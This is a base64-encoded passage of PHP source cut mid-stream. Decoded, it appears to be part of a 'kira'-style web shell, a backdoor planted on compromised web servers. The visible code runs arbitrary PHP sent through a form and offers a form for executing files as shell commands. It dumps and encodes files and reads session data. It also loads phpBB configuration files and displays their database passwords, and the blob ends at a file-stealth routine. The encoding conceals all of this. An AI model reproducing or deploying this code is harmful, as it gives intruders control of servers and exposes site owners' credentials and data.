oJGxpbmVbMV0pOyAkbGluZVsyXSA9ICRsaW5lWzNdOyB1bnNldCgkbGluZVszXSk7CiAgICAgJGxpbmVbMl0gPSBpbnR2YWwoc3RyX3JlcGxhY2UoIiAiLCIiLCRsaW5lWzJdKSkqMTAyNDsgCiAgICAgJHByY3NbXSA9ICRsaW5lOwogICAgIGVjaG8gIjwvdHI+IjsKICAgIH0KICAgfQogIH0KICAkaGVhZFska10gPSAiPGI+Ii4kaGVhZFska10uIjwvYj4iLiR5OwogICR2ID0gJHByb2Nlc3Nlc19zb3J0WzBdOwogIHVzb3J0KCRwcmNzLCJ0YWJzb3J0Iik7CiAgaWYgKCRwcm9jZXNzZXNfc29ydFsxXSA9PSAiZCIpIHskcHJjcyA9IGFycmF5X3JldmVyc2UoJHByY3MpO30KICAkdGFiID0gYXJyYXkoKTsKICAkdGFiW10gPSAkaGVhZDsKICAkdGFiID0gYXJyYXlfbWVyZ2UoJHRhYiwkcHJjcyk7CiAgZWNobyAiPFRBQkxFIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ0NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xIGJvcmRlcmNvbG9yPVwiI0MwQzBDMFwiPiI7CiAgZm9yZWFjaCgkdGFiIGFzICRpPT4kaykKICB7CiAgIGVjaG8gIjx0cj4iOwogICBmb3JlYWNoKCRrIGFzICRqPT4kdikge2lmICgkd2luIGFuZCAkaSA+IDAgYW5kICRqID09IDIpIHskdiA9IHZpZXdfc2l6ZSgkdik7fSBlY2hvICI8dGQ+Ii4kdi4iPC90ZD4iO30KICAgZWNobyAiPC90cj4iOwogIH0KICBlY2hvICI8L3RhYmxlPiI7CiB9Cn0KaWYgKCRhY3QgPT0gImV2YWwiKQp7CiBpZiAoIWVtcHR5KCRldmFsKSkKIHsKICBlY2hvICI8Yj5SZXN1bHQgb2YgZXhlY3V0aW9uIHRoaXMgUEhQLWNvZGU8L2I+Ojxicj4iOwogICR0bXAgPSBvYl9nZXRfY29udGVudHMoKTsKICAkb2xkZGlyID0gcmVhbHBhdGgoIi4iKTsKICBAY2hkaXIoJGQpOwogIGlmICgkdG1wKQogIHsKICAgb2JfY2xlYW4oKTsKICAgZXZhbCgkZXZhbCk7CiAgICRyZXQgPSBvYl9nZXRfY29udGVudHMoKTsKICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOwogICBvYl9jbGVhbigpOwogICBlY2hvICR0bXA7CiAgIGlmICgkZXZhbF90eHQpCiAgIHsKICAgICRyb3dzID0gY291bnQoZXhwbG9kZSgiXHJcbiIsJHJldCkpKzE7CiAgICBpZiAoJHJvd3MgPCAxMCkgeyRyb3dzID0gMTA7fQogICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiIHJlYWRvbmx5PiIuaHRtbHNwZWNpYWxjaGFycygkcmV0KS4iPC90ZXh0YXJlYT4iOwogICB9CiAgIGVsc2Uge2VjaG8gJHJldC4iPGJyPiI7fQogIH0KICBlbHNlCiAgewogICBpZiAoJGV2YWxfdHh0KQogICB7CiAgICBlY2hvICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxMjJcIiByb3dzPVwiMTVcIiByZWFkb25seT4iOwogICAgZXZhbCgkZXZhbCk7CiAgICBlY2hvICI8L3RleHRhcmVhPiI7CiAgIH0KICAgZWxzZSB7ZWNobyAkcmV0O30KICB9CiAgQGNoZGlyKCRvbGRkaXIpOwogfQogZWxzZSB7ZWNobyAiPGI+RXhlY3V0aW9uIFBIUC1jb2RlPC9iPiI7IGlmIChlbXB0eSgkZXZhbF90eHQpKSB7JGV2YWxfdHh0ID0gVFJVRTt9fQogZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPWV2YWw+PHRleHRhcmVhIG5hbWU9XCJldmFsXCIgY29scz1cIjEyMlwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkZXZhbCkuIjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJFeGVjdXRlXCI+Jm5ic3A7RGlzcGxheSBpbiB0ZXh0LWFyZWEmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImV2YWxfdHh0XCIgdmFsdWU9XCIxXCIiOyBpZiAoJGV2YWxfdHh0KSB7ZWNobyAiIGNoZWNrZWQiO30gZWNobyAiPjwvZm9ybT4iOwp9CmlmICgkYWN0ID09ICJmIikKewogaWYgKCghaXNfcmVhZGFibGUoJGQuJGYpIG9yIGlzX2RpcigkZC4kZikpIGFuZCAkZnQgIT0gImVkaXQiKQogewogIGlmIChmaWxlX2V4aXN0cygkZC4kZikpIHtlY2hvICI8Y2VudGVyPjxiPlBlcm1pc2lvbiBkZW5pZWQgKCIuaHRtbHNwZWNpYWxjaGFycygkZC4kZikuIikhPC9iPjwvY2VudGVyPiI7fQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+RmlsZSBkb2VzIG5vdCBleGlzdHMgKCIuaHRtbHNwZWNpYWxjaGFycygkZC4kZikuIikhPC9iPjxicj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1lZGl0JmQ9Ii51cmxlbmNvZGUoJGQpLiImYz0xXCI+PHU+Q3JlYXRlPC91PjwvYT48L2NlbnRlcj4iO30KIH0KIGVsc2UKIHsKICAkciA9IEBmaWxlX2dldF9jb250ZW50cygkZC4kZik7CiAgJGV4dCA9IGV4cGxvZGUoIi4iLCRmKTsKICAkYyA9IGNvdW50KCRleHQpLTE7CiAgJGV4dCA9ICRleHRbJGNdOwogICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOwogICRyZnQgPSAiIjsKICBmb3JlYWNoKCRmdHlwZXMgYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCRleHQsJHYpKSB7JHJmdCA9ICRrOyBicmVhazt9fQogIGlmIChlcmVnaSgic2Vzc18oLiopIiwkZikpIHskcmZ0ID0gInBocHNlc3MiO30KICBpZiAoZW1wdHkoJGZ0KSkgeyRmdCA9ICRyZnQ7fQogICRhcnIgPSBhcnJheSgKICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2RpelwiIGJvcmRlcj1cIjBcIj4iLCJpbmZvIiksCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9odG1sXCIgYm9yZGVyPVwiMFwiPiIsImh0bWwiKSwKICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X3R4dFwiIGJvcmRlcj1cIjBcIj4iLCJ0eHQiKSwKICAgYXJyYXkoIkNvZGUiLCJjb2RlIiksCiAgIGFycmF5KCJTZXNzaW9uIiwicGhwc2VzcyIpLAogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfZXhlXCIgYm9yZGVyPVwiMFwiPiIsImV4ZSIpLAogICBhcnJheSgiU0RCIiwic2RiIiksCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9naWZcIiBib3JkZXI9XCIwXCI+IiwiaW1nIiksCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9pbmlcIiBib3JkZXI9XCIwXCI+IiwiaW5pIiksCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWRvd25sb2FkXCIgYm9yZGVyPVwiMFwiPiIsImRvd25sb2FkIiksCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9ydGZcIiBib3JkZXI9XCIwXCI+Iiwibm90ZXBhZCIpLAogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1jaGFuZ2VcIiBib3JkZXI9XCIwXCI+IiwiZWRpdCIpCiAgKTsKICBlY2hvICI8Yj5WaWV3aW5nIGZpbGU6Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfIi4kZXh0LiJcIiBib3JkZXI9XCIwXCI+Jm5ic3A7Ii4kZi4iICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kZikpLiIpICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyIudmlld19wZXJtc19jb2xvcigkZC4kZikuIjwvYj48YnI+U2VsZWN0IGFjdGlvbi9maWxlLXR5cGU6PGJyPiI7CiAgZm9yZWFjaCgkYXJyIGFzICR0KQogIHsKICAgaWYgKCR0WzFdID09ICRyZnQpIHtlY2hvICIgPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Zm9udCBjb2xvcj1ncmVlbj4iLiR0WzBdLiI8L2ZvbnQ+PC9hPiI7fQogICBlbHNlaWYgKCR0WzFdID09ICRmdCkge2VjaG8gIiA8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPjxiPjx1PiIuJHRbMF0uIjwvdT48L2I+PC9hPiI7fQogICBlbHNlIHtlY2hvICIgPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj4iLiR0WzBdLiI8L2I+PC9hPiI7fQogICBlY2hvICIgKDxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZ3aGl0ZT0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj4rPC9hPikgfCI7CiAgfQogIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKICBpZiAoJGZ0ID09ICJpbmZvIikKICB7CiAgIGVjaG8gIjxiPkluZm9ybWF0aW9uOjwvYj48dGFibGUgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPjx0cj48dGQ+PGI+UGF0aDwvYj48L3RkPjx0ZD4gIi4kZC4kZi4iPC90ZD48L3RyPjx0cj48dGQ+PGI+U2l6ZTwvYj48L3RkPjx0ZD4gIi52aWV3X3NpemUoZmlsZXNpemUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+TUQ1PC9iPjwvdGQ+PHRkPiAiLm1kNV9maWxlKCRkLiRmKS4iPC90ZD48L3RyPiI7CiAgIGlmICghJHdpbikKICAgewogICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4gIjsgICAgCiAgICAkb3cgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGQuJGYpKTsKICAgICRnciA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkZC4kZikpOwogICAgZWNobyAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCRkLiRmKSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJGQuJGYpKTsKICAgfQogICBlY2hvICI8dHI+PHRkPjxiPlBlcm1zPC9iPjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Y2htb2QmZj0iLnVybGVuY29kZSgkZikuIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iPC9hPjwvdGQ+PC90cj48dHI+PHRkPjxiPkNyZWF0ZSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlY3RpbWUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+QWNjZXNzIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVhdGltZSgkZC4kZikpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NT0RJRlkgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZW10aW1lKCRkLiRmKSkuIjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOwogICAkZmkgPSBmb3BlbigkZC4kZiwicmIiKTsKICAgaWYgKCRmaSkKICAgewogICAgaWYgKCRmdWxsaGV4ZHVtcCkge2VjaG8gIjxiPkZVTEwgSEVYRFVNUDwvYj4iOyAkc3RyID0gZnJlYWQoJGZpLGZpbGVzaXplKCRkLiRmKSk7fQogICAgZWxzZSB7ZWNobyAiPGI+SEVYRFVNUCBQUkVWSUVXPC9iPiI7ICRzdHIgPSBmcmVhZCgkZmksJGhleGR1bXBfbGluZXMqJGhleGR1bXBfcm93cyk7fQogICAgJG4gPSAwOwogICAgJGEwID0gIjAwMDAwMDAwPGJyPiI7CiAgICAkYTEgPSAiIjsKICAgICRhMiA9ICIiOwogICAgZm9yICgkaT0wOyAkaTxzdHJsZW4oJHN0cik7ICRpKyspCiAgICB7CiAgICAgJGExIC49IHNwcmludGYoIiUwMlgiLG9yZCgkc3RyWyRpXSkpLiIgIjsKICAgICBzd2l0Y2ggKG9yZCgkc3RyWyRpXSkpCiAgICAgewogICAgICBjYXNlIDA6ICAkYTIgLj0gIjxmb250PjA8L2ZvbnQ+IjsgYnJlYWs7CiAgICAgIGNhc2UgMzI6CiAgICAgIGNhc2UgMTA6CiAgICAgIGNhc2UgMTM6ICRhMiAuPSAiJm5ic3A7IjsgYnJlYWs7CiAgICAgIGRlZmF1bHQ6ICRhMiAuPSBodG1sc3BlY2lhbGNoYXJzKCRzdHJbJGldKTsKICAgICB9CiAgICAgJG4rKzsKICAgICBpZiAoJG4gPT0gJGhleGR1bXBfcm93cykKICAgICB7CiAgICAgICRuID0gMDsKICAgICAgaWYgKCRpKzEgPCBzdHJsZW4oJHN0cikpIHskYTAgLj0gc3ByaW50ZigiJTA4WCIsJGkrMSkuIjxicj4iO30KICAgICAgJGExIC49ICI8YnI+IjsKICAgICAgJGEyIC49ICI8YnI+IjsKICAgICB9CiAgICB9CiAgICAvL2lmICgkYTEgIT0gIiIpIHskYTAgLj0gc3ByaW50ZigiJTA4WCIsJGkpLiI8YnI+Ijt9CiAgICBlY2hvICI8dGFibGUgYm9yZGVyPTAgYmdjb2xvcj0jNjY2NjY2IGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9ND48dHI+PHRkIGJnY29sb3I9IzY2NjY2Nj4iLiRhMC4iPC90ZD48dGQgYmdjb2xvcj0wMDAwMDA+Ii4kYTEuIjwvdGQ+PHRkIGJnY29sb3I9MDAwMDAwPiIuJGEyLiI8L3RkPjwvdHI+PC90YWJsZT48YnI+IjsKICAgfQogICAkZW5jb2RlZCA9ICIiOwogICBpZiAoJGJhc2U2NCA9PSAxKQogICB7CiAgICBlY2hvICI8Yj5CYXNlNjQgRW5jb2RlPC9iPjxicj4iOwogICAgJGVuY29kZWQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKSk7CiAgIH0KICAgZWxzZWlmKCRiYXNlNjQgPT0gMikKICAgewogICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZSArIENodW5rPC9iPjxicj4iOwogICAgJGVuY29kZWQgPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKSkpOwogICB9CiAgIGVsc2VpZigkYmFzZTY0ID09IDMpCiAgIHsKICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGUgKyBDaHVuayArIFF1b3RlczwvYj48YnI+IjsKICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpOwogICAgJGVuY29kZWQgPSBzdWJzdHIocHJlZ19yZXBsYWNlKCIhLnsxLDc2fSEiLCInXFwwJy5cbiIsJGVuY29kZWQpLDAsLTIpOwogICB9CiAgIGVsc2VpZigkYmFzZTY0ID09IDQpCiAgIHsKICAgICR0ZXh0ID0gZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOwogICAgJGVuY29kZWQgPSBiYXNlNjRfZGVjb2RlKCR0ZXh0KTsKICAgIGVjaG8gIjxiPkJhc2U2NCBEZWNvZGUiOwogICAgaWYgKGJhc2U2NF9lbmNvZGUoJGVuY29kZWQpICE9ICR0ZXh0KSB7ZWNobyAiIChmYWlsZWQpIjt9CiAgICBlY2hvICI8L2I+PGJyPiI7CiAgIH0KICAgaWYgKCFlbXB0eSgkZW5jb2RlZCkpCiAgIHsKICAgIGVjaG8gIjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRlbmNvZGVkKS4iPC90ZXh0YXJlYT48YnI+PGJyPiI7CiAgIH0KICAgZWNobyAiPGI+SEVYRFVNUDo8L2I+PG5vYnI+IFs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmZ1bGxoZXhkdW1wPTEmZD0iLnVybGVuY29kZSgkZCkuIlwiPkZ1bGw8L2E+XSBbPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZkPSIudXJsZW5jb2RlKCRkKS4iXCI+UHJldmlldzwvYT5dPGJyPjxiPkJhc2U2NDogPC9iPgo8bm9icj5bPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZiYXNlNjQ9MSZkPSIudXJsZW5jb2RlKCRkKS4iXCI+RW5jb2RlPC9hPl0mbmJzcDs8L25vYnI+Cjxub2JyPls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0yJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4rY2h1bms8L2E+XSZuYnNwOzwvbm9icj4KPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTMmZD0iLnVybGVuY29kZSgkZCkuIlwiPitjaHVuaytxdW90ZXM8L2E+XSZuYnNwOzwvbm9icj4KPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTQmZD0iLnVybGVuY29kZSgkZCkuIlwiPkRlY29kZTwvYT5dJm5ic3A7PC9ub2JyPgo8UD4iOwogIH0KICBlbHNlaWYgKCRmdCA9PSAiaHRtbCIpCiAgewogICBpZiAoJHdoaXRlKSB7QG9iX2NsZWFuKCk7fQogICBlY2hvICRyOwogICBpZiAoJHdoaXRlKSB7azFyNGV4aXQoKTt9CiAgfQogIGVsc2VpZiAoJGZ0ID09ICJ0eHQiKSB7ZWNobyAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHIpLiI8L3ByZT4iO30KICBlbHNlaWYgKCRmdCA9PSAiaW5pIikge2VjaG8gIjxwcmU+IjsgdmFyX2R1bXAocGFyc2VfaW5pX2ZpbGUoJGQuJGYsVFJVRSkpOyBlY2hvICI8L3ByZT4iO30KICBlbHNlaWYgKCRmdCA9PSAicGhwc2VzcyIpCiAgewogICBlY2hvICI8cHJlPiI7CiAgICR2ID0gZXhwbG9kZSgifCIsJHIpOwogICBlY2hvICR2WzBdLiI8YnI+IjsKICAgdmFyX2R1bXAodW5zZXJpYWxpemUoJHZbMV0pKTsKICAgZWNobyAiPC9wcmU+IjsKICB9CiAgZWxzZWlmICgkZnQgPT0gImV4ZSIpCiAgewogICAkZXh0ID0gZXhwbG9kZSgiLiIsJGYpOwogICAkYyA9IGNvdW50KCRleHQpLTE7CiAgICRleHQgPSAkZXh0WyRjXTsKICAgJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7CiAgICRyZnQgPSAiIjsKICAgZm9yZWFjaCgkZXhlZnR5cGVzIGFzICRrPT4kdikKICAgewogICAgaWYgKGluX2FycmF5KCRleHQsJHYpKSB7JHJmdCA9ICRrOyBicmVhazt9CiAgIH0KICAgJGNtZCA9IHN0cl9yZXBsYWNlKCIlZiUiLCRmLCRyZnQpOwogICBlY2hvICI8Yj5FeGVjdXRlIGZpbGU6PC9iPjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1jbWQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImNtZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRjbWQpLiJcIiBzaXplPVwiIi4oc3RybGVuKCRjbWQpKzIpLiJcIj48YnI+RGlzcGxheSBpbiB0ZXh0LWFyZWE8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImNtZF90eHRcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRkKS4iXCI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIkV4ZWN1dGVcIj48L2Zvcm0+IjsKICB9CiAgZWxzZWlmICgkZnQgPT0gInNkYiIpIHtlY2hvICI8cHJlPiI7IHZhcl9kdW1wKHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJHIpKSk7IGVjaG8gIjwvcHJlPiI7fQogIGVsc2VpZiAoJGZ0ID09ICJjb2RlIikKICB7CiAgIGlmIChlcmVnKCJwaHAiLiJCQiAyLiguKikgYXV0by1nZW5lcmF0ZWQgY29uZmlnIGZpbGUiLCRyKSkKICAgewogICAgJGFyciA9IGV4cGxvZGUoIlxuIiwkcik7CiAgICBpZiAoY291bnQoJGFyciA9PSAxOCkpCiAgICB7CiAgICAgaW5jbHVkZSgkZC4kZik7CiAgICAgZWNobyAiPGI+cGhwQkIgY29uZmlndXJhdGlvbiBpcyBkZXRlY3RlZCBpbiB0aGlzIGZpbGUhPGJyPiI7CiAgICAgaWYgKCRkYm1zID09ICJteXNxbDQiKSB7JGRibXMgPSAibXlzcWwiO30KICAgICBpZiAoJGRibXMgPT0gIm15c3FsIikge2VjaG8gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9c3FsJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYmhvc3QpLiImc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkZGJ1c2VyKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYnBhc3N3ZCkuIiZzcWxfcG9ydD0zMzA2JnNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJGRibmFtZSkuIlwiPjxiPjx1PkNvbm5lY3QgdG8gREI8L3U+PC9iPjwvYT48YnI+PGJyPiI7fQogICAgIGVsc2Uge2VjaG8gIkJ1dCwgeW91IGNhbid0IGNvbm5lY3QgdG8gZm9ydW0gc3FsLWJhc2UsIGJlY2F1c2UgZGItc29mdHdhcmU9XCIiLiRkYm1zLiJcIiBpcyBub3Qgc3VwcG9ydGVkIGJ5IGtpcmEuIFBsZWFzZSwgcmVwb3J0IHVzIGZvciBmaXguIjt9CiAgICAgZWNobyAiUGFyYW1ldGVycyBmb3IgbWFudWFsIGNvbm5lY3Q6PGJyPiI7CiAgICAgJGNmZ3ZhcnMgPSBhcnJheSgiZGJtcyI9PiRkYm1zLCJkYmhvc3QiPT4kZGJob3N0LCJkYm5hbWUiPT4kZGJuYW1lLCJkYnVzZXIiPT4kZGJ1c2VyLCJkYnBhc3N3ZCI9PiRkYnBhc3N3ZCk7CiAgICAgZm9yZWFjaCAoJGNmZ3ZhcnMgYXMgJGs9PiR2KSB7ZWNobyBodG1sc3BlY2lhbGNoYXJzKCRrKS4iPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPGJyPiI7fQogICAgIGVjaG8gIjwvYj48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7CiAgICB9CiAgIH0KICAgZWNobyAiPGRpdiBzdHlsZT1cImJvcmRlciA6IDBweCBzb2xpZCAjRkZGRkZGOyBwYWRkaW5nOiAxZW07IG1hcmdpbi10b3A6IDFlbTsgbWFyZ2luLWJvdHRvbTogMWVtOyBtYXJnaW4tcmlnaHQ6IDFlbTsgbWFyZ2luLWxlZnQ6IDFlbTsgYmFja2dyb3VuZC1jb2xvcjogIi4kaGlnaGxpZ2h0X2JhY2tncm91bmQgLiI7XCI+IjsKICAgaWYgKCFlbXB0eSgkd2hpdGUpKSB7QG9iX2NsZWFuKCk7fQogICBoaWdobGlnaHRfZmlsZSgkZC4kZik7CiAgIGlmICghZW1wdHkoJHdoaXRlKSkge2sxcjRleGl0KCk7fQogICBlY2hvICI8L2Rpdj4iOwogIH0KICBlbHNlaWYgKCRmdCA9PSAiZG93bmxvYWQiKQogIHsKICAgQG9iX2NsZWFuKCk7CiAgIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsKICAgaGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5maWxlc2l6ZSgkZC4kZikpOwogICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi4kZi4iXCI7Iik7CiAgIGVjaG8gJHI7CiAgIGV4aXQ7CiAgfQogIGVsc2VpZiAoJGZ0ID09ICJub3RlcGFkIikKICB7CiAgIEBvYl9jbGVhbigpOwogICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogdGV4dC9wbGFpbiIpOwogICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi4kZi4iLnR4dFwiOyIpOwogICBlY2hvKCRyKTsKICAgZXhpdDsKICB9CiAgZWxzZWlmICgkZnQgPT0gImltZyIpCiAgewogICAkaW5mID0gZ2V0aW1hZ2VzaXplKCRkLiRmKTsKICAgaWYgKCEkd2hpdGUpCiAgIHsKICAgIGlmIChlbXB0eSgkaW1nc2l6ZSkpIHskaW1nc2l6ZSA9IDIwO30KICAgICR3aWR0aCA9ICRpbmZbMF0vMTAwKiRpbWdzaXplOwogICAgJGhlaWdodCA9ICRpbmZbMV0vMTAwKiRpbWdzaXplOwogICAgZWNobyAiPGNlbnRlcj48Yj5TaXplOjwvYj4mbmJzcDsiOwogICAgJHNpemVzID0gYXJyYXkoIjEwMCIsIjUwIiwiMjAiKTsKICAgIGZvcmVhY2ggKCRzaXplcyBhcyAkdikKICAgIHsKICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbWcmZD0iLnVybGVuY29kZSgkZCkuIiZpbWdzaXplPSIuJHYuIlwiPiI7CiAgICAgaWYgKCRpbWdzaXplICE9ICR2ICkge2VjaG8gJHY7fQogICAgIGVsc2Uge2VjaG8gIjx1PiIuJHYuIjwvdT4iO30KICAgICBlY2hvICI8L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsKICAgIH0KICAgIGVjaG8gIjxicj48YnI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWltZyZ3aGl0ZT0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiB3aWR0aD1cIiIuJHdpZHRoLiJcIiBoZWlnaHQ9XCIiLiRoZWlnaHQuIlwiIGJvcmRlcj1cIjFcIj48L2NlbnRlcj4iOwogICB9CiAgIGVsc2UKICAgewogICAgQG9iX2NsZWFuKCk7CiAgICAkZXh0ID0gZXhwbG9kZSgkZiwiLiIpOwogICAgJGV4dCA9ICRleHRbY291bnQoJGV4dCktMV07CiAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogIi4kaW5mWyJtaW1lIl0pOwogICAgcmVhZGZpbGUoJGQuJGYpOwogICAgZXhpdDsKICAgfQogIH0KICBlbHNlaWYgKCRmdCA9PSAiZWRpdCIpCiAgewogICBpZiAoIWVtcHR5KCRzdWJtaXQpKQogICB7CiAgICBpZiAoJGZpbGVzdGVhbHRoKSB7